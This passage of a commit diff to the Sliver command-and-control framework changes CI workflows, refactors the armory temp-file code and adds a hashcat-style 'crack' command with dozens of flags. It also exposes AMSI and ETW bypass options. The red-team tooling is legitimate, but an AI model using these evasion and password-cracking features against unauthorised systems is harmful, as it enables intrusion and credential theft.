Make sure zig builds get stripped

Update gRPC APIs

.github/workflows/autorelease.yml

@@ -44,7 +44,7 @@ jobs:
       - name: Go 1.25
         uses: actions/setup-go@v6
         with:
-          go-version: "^1.25"
+          go-version: "1.25.6"
 
       - name: Install Minisign
         run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign

.github/workflows/codeql-scanning.yml

@@ -19,7 +19,7 @@ jobs:
       - name: Go 1.25
         uses: actions/setup-go@v6
         with:
-          go-version: "^1.25"
+          go-version: "1.25.6"
 
       - name: Checkout repository
         uses: actions/checkout@v6

.github/workflows/unit-tests.yml

@@ -26,7 +26,7 @@ jobs:
       - name: Go 1.25
         uses: actions/setup-go@v6
         with:
-          go-version: "^1.25"
+          go-version: "1.25.6"
 
       - name: OS Packages
         run: |
@@ -48,8 +48,21 @@ jobs:
       - name: Make Linux (amd64)
         run: make linux-amd64
 
+      - name: Determine go-tests flags
+        id: go-tests-flags
+        shell: bash
+        run: |
+          set -euo pipefail
+          base_sha="${{ github.event.pull_request.base.sha }}"
+          head_sha="${{ github.sha }}"
+          if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
+            echo "args=" >> "$GITHUB_OUTPUT"
+          else
+            echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
+          fi
+
       - name: Test Linux
-        run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
+        run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
 
 
   macos-build-test:
@@ -60,7 +73,7 @@ jobs:
       - name: Go 1.25
         uses: actions/setup-go@v6
         with:
-          go-version: "^1.25"
+          go-version: "1.25.6"
 
       - name: Check Out Code
         uses: actions/checkout@v6
@@ -74,8 +87,21 @@ jobs:
       - name: Make MacOS (arm64)
         run: make macos-arm64
 
+      - name: Determine go-tests flags
+        id: go-tests-flags
+        shell: bash
+        run: |
+          set -euo pipefail
+          base_sha="${{ github.event.pull_request.base.sha }}"
+          head_sha="${{ github.sha }}"
+          if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
+            echo "args=" >> "$GITHUB_OUTPUT"
+          else
+            echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
+          fi
+
       - name: Test MacOS
-        run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
+        run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
 
   clients-build:
     name: Clients Build
@@ -85,7 +111,7 @@ jobs:
       - name: Go 1.25
         uses: actions/setup-go@v6
         with:
-          go-version: "^1.25"
+          go-version: "1.25.6"
 
       - name: Check Out Code
         uses: actions/checkout@v6

client/assets/assets.go

@@ -115,7 +115,7 @@ func Setup(force bool, echo bool) {
 	if force || localVer == "" || localVer != ver.GitCommit {
 		if echo {
 			fmt.Printf(`
-Sliver  Copyright (C) 2025  Bishop Fox
+Sliver  Copyright (C) 2026  Bishop Fox
 This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
 This is free software, and you are welcome to redistribute it
 under certain conditions; type 'licenses' for details.`)

client/command/README.md

@@ -25,6 +25,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
 - `creds/` – Implements the 'creds' command group for the Sliver client console.
 - `cursed/` – Implements the 'cursed' command group for the Sliver client console.
 - `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
+- `edit/` – Implements the 'edit' command for the Sliver client console.
 - `environment/` – Implements the 'environment' command group for the Sliver client console.
 - `exec/` – Implements the 'exec' command group for the Sliver client console.
 - `exit/` – Implements the 'exit' command group for the Sliver client console.

client/command/alias/load.go

@@ -239,9 +239,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
 		f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 		f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
 		f.BoolP("in-process", "i", false, "Run in the current sliver process")
-		f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
-		f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
-		f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
+		f.StringP("runtime", "r", "v4.0.30319", "Runtime to use for running the assembly")
+		f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows")
+		f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows")
 		addAliasCmd.Flags().AddFlagSet(f)
 	}
 
@@ -374,7 +374,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
 		}
 		con.PrintWarnf("%s", msgStr)
 		confirm := false
-		_ = forms.Confirm("Do you want to continue?", &confirm)
+		forms.Confirm("Do you want to continue?", &confirm)
 		if !confirm {
 			return
 		}

client/command/armory/install.go

@@ -635,20 +635,15 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
 		return errors.New("signature verification failed")
 	}
 
-	tmpFile, err := os.CreateTemp("", "sliver-armory-")
+	tmpFileName, err := writeArmoryTempFile(tarGz)
 	if err != nil {
 		return err
 	}
-	defer os.Remove(tmpFile.Name())
-	_, err = tmpFile.Write(tarGz)
-	if err != nil {
-		return err
-	}
-	tmpFile.Close()
+	defer os.Remove(tmpFileName)
 
 	con.Printf(console.Clearln + "\r") // Clear the line
 
-	installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
+	installPath := alias.InstallFromFile(tmpFileName, entry.Alias.CommandName, promptToOverwrite, con)
 	if installPath == nil {
 		return errors.New("failed to install alias")
 	}
@@ -729,23 +724,45 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
 		return errors.New("signature verification failed")
 	}
 
-	tmpFile, err := os.CreateTemp("", "sliver-armory-")
-	if err != nil {
-		return err
-	}
-	defer os.Remove(tmpFile.Name())
-	_, err = tmpFile.Write(tarGz)
-	if err != nil {
-		return err
-	}
-	err = tmpFile.Sync()
+	tmpFileName, err := writeArmoryTempFile(tarGz)
 	if err != nil {
 		return err
 	}
+	defer os.Remove(tmpFileName)
 
 	con.Printf(console.Clearln + "\r") // Clear download message
 
-	extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
+	extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
 
 	return nil
 }
+
+func writeArmoryTempFile(data []byte) (string, error) {
+	if len(data) == 0 {
+		return "", errors.New("downloaded archive is empty")
+	}
+	tmpFile, err := os.CreateTemp("", "sliver-armory-")
+	if err != nil {
+		return "", err
+	}
+	tmpFileName := tmpFile.Name()
+	for len(data) > 0 {
+		n, err := tmpFile.Write(data)
+		if err != nil {
+			tmpFile.Close()
+			os.Remove(tmpFileName)
+			return "", err
+		}
+		data = data[n:]
+	}
+	if err := tmpFile.Sync(); err != nil {
+		tmpFile.Close()
+		os.Remove(tmpFileName)
+		return "", err
+	}
+	if err := tmpFile.Close(); err != nil {
+		os.Remove(tmpFileName)
+		return "", err
+	}
+	return tmpFileName, nil
+}

client/command/crack/commands.go

@@ -24,6 +24,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 	}
 	flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
 		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+		bindCrackFlags(f)
 	})
 
 	crackStationsCmd := &cobra.Command{
@@ -34,6 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 			CrackStationsCmd(cmd, con, args)
 		},
 	}
+	flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
+		f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
+	})
 	crackCmd.AddCommand(crackStationsCmd)
 
 	wordlistsCmd := &cobra.Command{

client/command/crack/crack-command.go

@@ -0,0 +1,326 @@
+package crack
+
+import (
+	"fmt"
+	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+func shouldRunCrack(cmd *cobra.Command, args []string) bool {
+	if len(args) > 0 {
+		return true
+	}
+
+	hasFlag := false
+	cmd.Flags().VisitAll(func(flag *pflag.Flag) {
+		if flag.Changed && flag.Name != "timeout" {
+			hasFlag = true
+		}
+	})
+	return hasFlag
+}
+
+func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
+	flags := cmd.Flags()
+	req := &clientpb.CrackCommand{}
+
+	if flags.Changed("attack-mode") {
+		raw, _ := flags.GetString("attack-mode")
+		attackMode, err := parseCrackAttackMode(raw)
+		if err != nil {
+			return nil, err
+		}
+		req.AttackMode = attackMode
+	}
+
+	if flags.Changed("hash-type") {
+		raw, _ := flags.GetString("hash-type")
+		hashType, err := parseHashType(raw)
+		if err != nil {
+			return nil, err
+		}
+		req.HashType = hashType
+	}
+
+	hashes, _ := flags.GetStringSlice("hash")
+	if len(args) > 0 {
+		hashes = append(hashes, args...)
+	}
+	req.Hashes = hashes
+
+	req.Quiet, _ = flags.GetBool("quiet")
+	req.HexCharset, _ = flags.GetBool("hex-charset")
+	req.HexSalt, _ = flags.GetBool("hex-salt")
+	req.HexWordlist, _ = flags.GetBool("hex-wordlist")
+	req.Force, _ = flags.GetBool("force")
+	req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
+	req.Status, _ = flags.GetBool("status")
+	req.StatusJSON, _ = flags.GetBool("status-json")
+	req.StatusTimer, _ = flags.GetUint32("status-timer")
+	req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
+	req.MachineReadable, _ = flags.GetBool("machine-readable")
+	req.KeepGuessing, _ = flags.GetBool("keep-guessing")
+	req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
+	req.Loopback, _ = flags.GetBool("loopback")
+
+	if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
+		req.MarkovHcstat2 = []byte(raw)
+	}
+	req.MarkovDisable, _ = flags.GetBool("markov-disable")
+	req.MarkovClassic, _ = flags.GetBool("markov-classic")
+	req.MarkovInverse, _ = flags.GetBool("markov-inverse")
+	req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
+	req.Runtime, _ = flags.GetUint32("runtime")
+	req.Session, _ = flags.GetString("session")
+	req.Restore, _ = flags.GetBool("restore")
+	req.RestoreDisable, _ = flags.GetBool("restore-disable")
+	if raw, _ := flags.GetString("restore-file"); raw != "" {
+		req.RestoreFile = []byte(raw)
+	}
+
+	if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
+		for _, raw := range formats {
+			format, err := parseCrackOutfileFormat(raw)
+			if err != nil {
+				return nil, err
+			}
+			req.OutfileFormat = append(req.OutfileFormat, format)
+		}
+	}
+	req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
+	req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
+	req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
+	req.Separator, _ = flags.GetString("separator")
+	req.Stdout, _ = flags.GetBool("stdout")
+	req.Show, _ = flags.GetBool("show")
+	req.Left, _ = flags.GetBool("left")
+	req.Username, _ = flags.GetBool("username")
+	req.Remove, _ = flags.GetBool("remove")
+	req.RemoveTimer, _ = flags.GetUint32("remove-timer")
+	req.PotfileDisable, _ = flags.GetBool("potfile-disable")
+	if raw, _ := flags.GetString("potfile"); raw != "" {
+		req.Potfile = []byte(raw)
+	}
+
+	if flags.Changed("encoding-from") {
+		raw, _ := flags.GetString("encoding-from")
+		enc, err := parseCrackEncoding(raw)
+		if err != nil {
+			return nil, err
+		}
+		req.EncodingFrom = enc
+	}
+	if flags.Changed("encoding-to") {
+		raw, _ := flags.GetString("encoding-to")
+		enc, err := parseCrackEncoding(raw)
+		if err != nil {
+			return nil, err
+		}
+		req.EncodingTo = enc
+	}
+
+	req.DebugMode, _ = flags.GetUint32("debug-mode")
+	req.LogfileDisable, _ = flags.GetBool("logfile-disable")
+	req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
+	req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
+	if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
+		req.KeyboardLayoutMapping = []byte(raw)
+	}
+
+	req.Benchmark, _ = flags.GetBool("benchmark")
+	req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
+	req.SpeedOnly, _ = flags.GetBool("speed-only")
+	req.ProgressOnly, _ = flags.GetBool("progress-only")
+	req.SegmentSize, _ = flags.GetUint32("segment-size")
+	req.BitmapMin, _ = flags.GetUint32("bitmap-min")
+	req.BitmapMax, _ = flags.GetUint32("bitmap-max")
+	req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
+	req.HookThreads, _ = flags.GetUint32("hook-threads")
+	req.HashInfo, _ = flags.GetBool("hash-info")
+	req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
+	req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
+	req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
+	req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
+	req.BackendInfo, _ = flags.GetBool("backend-info")
+	req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
+	req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
+	req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
+	req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
+
+	if flags.Changed("workload-profile") {
+		raw, _ := flags.GetString("workload-profile")
+		profile, err := parseCrackWorkloadProfile(raw)
+		if err != nil {
+			return nil, err
+		}
+		req.WorkloadProfile = profile
+	}
+
+	req.KernelAccel, _ = flags.GetUint32("kernel-accel")
+	req.KernelLoops, _ = flags.GetUint32("kernel-loops")
+	req.KernelThreads, _ = flags.GetUint32("kernel-threads")
+	req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
+	req.SpinDamp, _ = flags.GetUint32("spin-damp")
+	req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
+	req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
+	req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
+	req.Skip, _ = flags.GetUint64("skip")
+	req.Limit, _ = flags.GetUint64("limit")
+	req.Keyspace, _ = flags.GetBool("keyspace")
+
+	if raw, _ := flags.GetString("rules-file"); raw != "" {
+		req.RulesFile = []byte(raw)
+	}
+	req.GenerateRules, _ = flags.GetUint32("generate-rules")
+	req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
+	req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
+	req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
+	req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
+	req.CustomCharset1, _ = flags.GetString("custom-charset1")
+	req.CustomCharset2, _ = flags.GetString("custom-charset2")
+	req.CustomCharset3, _ = flags.GetString("custom-charset3")
+	req.CustomCharset4, _ = flags.GetString("custom-charset4")
+	req.Identify, _ = flags.GetString("identify")
+	req.Increment, _ = flags.GetBool("increment")
+	req.IncrementMin, _ = flags.GetUint32("increment-min")
+	req.IncrementMax, _ = flags.GetUint32("increment-max")
+	req.SlowCandidates, _ = flags.GetBool("slow-candidates")
+	req.BrainServer, _ = flags.GetBool("brain-server")
+	req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
+	req.BrainClient, _ = flags.GetBool("brain-client")
+	req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
+	req.BrainHost, _ = flags.GetString("brain-host")
+	req.BrainPort, _ = flags.GetUint32("brain-port")
+	req.BrainPassword, _ = flags.GetString("brain-password")
+	req.BrainSession, _ = flags.GetString("brain-session")
+	req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
+
+	return req, nil
+}
+
+func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
+	values, _ := flags.GetUintSlice(name)
+	if len(values) == 0 {
+		return nil
+	}
+	out := make([]uint32, len(values))
+	for i, value := range values {
+		out[i] = uint32(value)
+	}
+	return out
+}
+
+func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
+	if raw == "" {
+		return clientpb.CrackAttackMode_STRAIGHT, nil
+	}
+	if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
+		return clientpb.CrackAttackMode(numeric), nil
+	}
+
+	normalized := strings.ToLower(strings.TrimSpace(raw))
+	normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
+	switch normalized {
+	case "straight":
+		return clientpb.CrackAttackMode_STRAIGHT, nil
+	case "combination":
+		return clientpb.CrackAttackMode_COMBINATION, nil
+	case "bruteforce", "brute_force", "brute-force":
+		return clientpb.CrackAttackMode_BRUTEFORCE, nil
+	case "hybrid_wordlist_mask":
+		return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
+	case "hybrid_mask_wordlist":
+		return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
+	case "association":
+		return clientpb.CrackAttackMode_ASSOCIATION, nil
+	case "no_attack", "none":
+		return clientpb.CrackAttackMode_NO_ATTACK, nil
+	default:
+		return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
+	}
+}
+
+func parseHashType(raw string) (clientpb.HashType, error) {
+	if raw == "" {
+		return clientpb.HashType_MD5, nil
+	}
+	if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
+		return clientpb.HashType(numeric), nil
+	}
+	key := normalizeEnumKey(raw)
+	if value, ok := clientpb.HashType_value[key]; ok {
+		return clientpb.HashType(value), nil
+	}
+	return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
+}
+
+func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
+	if raw == "" {
+		return clientpb.CrackEncoding_INVALID_ENCODING, nil
+	}
+	if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
+		return clientpb.CrackEncoding(numeric), nil
+	}
+	key := normalizeEnumKey(raw)
+	if value, ok := clientpb.CrackEncoding_value[key]; ok {
+		return clientpb.CrackEncoding(value), nil
+	}
+	return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
+}
+
+func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
+	if raw == "" {
+		return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
+	}
+	if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
+		return clientpb.CrackOutfileFormat(numeric), nil
+	}
+	key := normalizeEnumKey(raw)
+	if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
+		return clientpb.CrackOutfileFormat(value), nil
+	}
+	return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
+}
+
+func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
+	if raw == "" {
+		return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
+	}
+	if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
+		return clientpb.CrackWorkloadProfile(numeric), nil
+	}
+	key := normalizeEnumKey(raw)
+	if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
+		return clientpb.CrackWorkloadProfile(value), nil
+	}
+	return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
+}
+
+func normalizeEnumKey(value string) string {
+	if value == "" {
+		return ""
+	}
+	var builder strings.Builder
+	builder.Grow(len(value))
+	underscore := false
+	for i := 0; i < len(value); i++ {
+		ch := value[i]
+		if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
+			if ch >= 'a' && ch <= 'z' {
+				ch -= 'a' - 'A'
+			}
+			builder.WriteByte(ch)
+			underscore = false
+			continue
+		}
+		if !underscore {
+			builder.WriteByte('_')
+			underscore = true
+		}
+	}
+	return strings.Trim(builder.String(), "_")
+}

client/command/crack/crack-flags.go

@@ -0,0 +1,108 @@
+package crack
+
+import "github.com/spf13/pflag"
+
+func bindCrackFlags(f *pflag.FlagSet) {
+	f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
+	f.String("hash-type", "", "hashcat hash type (number or enum name)")
+	f.StringSlice("hash", nil, "hashes to crack (repeatable)")
+	f.Bool("quiet", false, "quiet mode")
+	f.Bool("hex-charset", false, "treat charset as hex")
+	f.Bool("hex-salt", false, "treat salt as hex")
+	f.Bool("hex-wordlist", false, "treat wordlist as hex")
+	f.Bool("force", false, "ignore warnings")
+	f.Bool("deprecated-check-disable", false, "disable deprecated check")
+	f.Bool("status", false, "enable status")
+	f.Bool("status-json", false, "emit status in JSON")
+	f.Uint32("status-timer", 0, "status timer interval (seconds)")
+	f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
+	f.Bool("machine-readable", false, "machine readable output")
+	f.Bool("keep-guessing", false, "keep guessing")
+	f.Bool("self-test-disable", false, "disable self-test")
+	f.Bool("loopback", false, "use loopback mode")
+	f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
+	f.Bool("markov-disable", false, "disable markov mode")
+	f.Bool("markov-classic", false, "use classic markov")
+	f.Bool("markov-inverse", false, "use inverse markov")
+	f.Uint32("markov-threshold", 0, "markov threshold")
+	f.Uint32("runtime", 0, "runtime in seconds")
+	f.String("session", "", "session name")
+	f.Bool("restore", false, "restore session")
+	f.Bool("restore-disable", false, "disable restore")
+	f.String("restore-file", "", "restore file path or identifier")
+	f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
+	f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
+	f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
+	f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
+	f.String("separator", "", "separator character")
+	f.Bool("stdout", false, "stdout output")
+	f.Bool("show", false, "show cracked hashes")
+	f.Bool("left", false, "show uncracked hashes")
+	f.Bool("username", false, "enable username handling")
+	f.Bool("remove", false, "remove cracked hashes")
+	f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
+	f.Bool("potfile-disable", false, "disable potfile")
+	f.String("potfile", "", "potfile path or identifier")
+	f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
+	f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
+	f.Uint32("debug-mode", 0, "debug mode mask")
+	f.Bool("logfile-disable", false, "disable logfile")
+	f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
+	f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
+	f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
+	f.Bool("benchmark", false, "run benchmark")
+	f.Bool("benchmark-all", false, "run full benchmark")
+	f.Bool("speed-only", false, "show speed only")
+	f.Bool("progress-only", false, "show progress only")
+	f.Uint32("segment-size", 0, "segment size")
+	f.Uint32("bitmap-min", 0, "bitmap min")
+	f.Uint32("bitmap-max", 0, "bitmap max")
+	f.UintSlice("cpu-affinity", nil, "CPU affinity list")
+	f.Uint32("hook-threads", 0, "hook threads")
+	f.Bool("hash-info", false, "show hash information")
+	f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
+	f.Bool("backend-ignore-hip", false, "ignore HIP backend")
+	f.Bool("backend-ignore-metal", false, "ignore Metal backend")
+	f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
+	f.Bool("backend-info", false, "show backend info")
+	f.UintSlice("backend-devices", nil, "backend device IDs")
+	f.UintSlice("opencl-device-types", nil, "OpenCL device types")
+	f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
+	f.Bool("multiply-accel-disabled", false, "disable multiply accel")
+	f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
+	f.Uint32("kernel-accel", 0, "kernel acceleration")
+	f.Uint32("kernel-loops", 0, "kernel loops")
+	f.Uint32("kernel-threads", 0, "kernel threads")
+	f.Uint32("backend-vector-width", 0, "backend vector width")
+	f.Uint32("spin-damp", 0, "spin damp")
+	f.Bool("hwmon-disable", false, "disable hardware monitoring")
+	f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
+	f.Uint32("scrypt-tmto", 0, "scrypt tmto")
+	f.Uint64("skip", 0, "skip count")
+	f.Uint64("limit", 0, "limit count")
+	f.Bool("keyspace", false, "show keyspace")
+	f.String("rules-file", "", "rules file path or identifier")
+	f.Uint32("generate-rules", 0, "generate rules")
+	f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
+	f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
+	f.String("generate-rules-func-sel", "", "generate rules function selection")
+	f.Int32("generate-rules-seed", 0, "generate rules seed")
+	f.String("custom-charset1", "", "custom charset 1")
+	f.String("custom-charset2", "", "custom charset 2")
+	f.String("custom-charset3", "", "custom charset 3")
+	f.String("custom-charset4", "", "custom charset 4")
+	f.String("identify", "", "identify hash")
+	f.Bool("increment", false, "incremental mode")
+	f.Uint32("increment-min", 0, "increment min")
+	f.Uint32("increment-max", 0, "increment max")
+	f.Bool("slow-candidates", false, "slow candidates")
+	f.Bool("brain-server", false, "brain server mode")
+	f.Uint32("brain-server-timer", 0, "brain server timer")
+	f.Bool("brain-client", false, "brain client mode")
+	f.String("brain-client-features", "", "brain client features")
+	f.String("brain-host", "", "brain host")
+	f.Uint32("brain-port", 0, "brain port")
+	f.String("brain-password", "", "brain password")
+	f.String("brain-session", "", "brain session")
+	f.String("brain-session-whitelist", "", "brain session whitelist")
+}

client/command/crack/crack.go

@@ -22,6 +22,7 @@ import (
 	"context"
 	"fmt"
 	"sort"
+	"time"
 
 	"github.com/jedib0t/go-pretty/v6/table"
 	"github.com/spf13/cobra"
@@ -34,6 +35,37 @@ import (
 
 // CrackCmd - GPU password cracking interface
 func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	if shouldRunCrack(cmd, args) {
+		crackCmd, err := buildCrackCommand(cmd, args)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
+		ctx := context.Background()
+		if timeoutSeconds > 0 {
+			var cancel context.CancelFunc
+			ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
+			defer cancel()
+		}
+
+		resp, err := con.Rpc.Crack(ctx, crackCmd)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		if resp == nil || resp.Job == nil {
+			con.PrintInfof("Crack request submitted\n")
+			return
+		}
+		con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
+		if resp.Job.Err != "" {
+			con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
+		}
+		return
+	}
+
 	if !AreCrackersOnline(con) {
 		PrintNoCrackstations(con)
 	} else {
@@ -64,10 +96,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
 	if len(crackers.Crackstations) == 0 {
 		PrintNoCrackstations(con)
 	} else {
-		PrintCrackers(crackers.Crackstations, con)
+		PrintCrackers(crackers.Crackstations, con, showBenchmarks)
 	}
 }
 
@@ -83,12 +116,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
 	return len(crackers.Crackstations) > 0
 }
 
-func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
+func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
 	sort.Slice(crackers, func(i, j int) bool {
 		return crackers[i].Name < crackers[j].Name
 	})
 	for index, cracker := range crackers {
-		printCracker(cracker, index, con)
+		printCracker(cracker, index, con, showBenchmarks)
 		if index < len(crackers)-1 {
 			con.Println()
 			con.Println()
@@ -96,7 +129,7 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient)
 	}
 }
 
-func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
+func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
@@ -131,8 +164,10 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver
 		}
 	}
 	con.Printf("%s\n", tw.Render())
-	con.Println()
-	printBenchmarks(cracker, con)
+	if showBenchmarks {
+		con.Println()
+		printBenchmarks(cracker, con)
+	}
 }
 
 func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
@@ -140,9 +175,17 @@ func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient)
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
 	tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
-	tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
-	for hashType, speed := range cracker.Benchmarks {
-		tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
+	tw.AppendHeader(table.Row{"Hash Type", "Rate"})
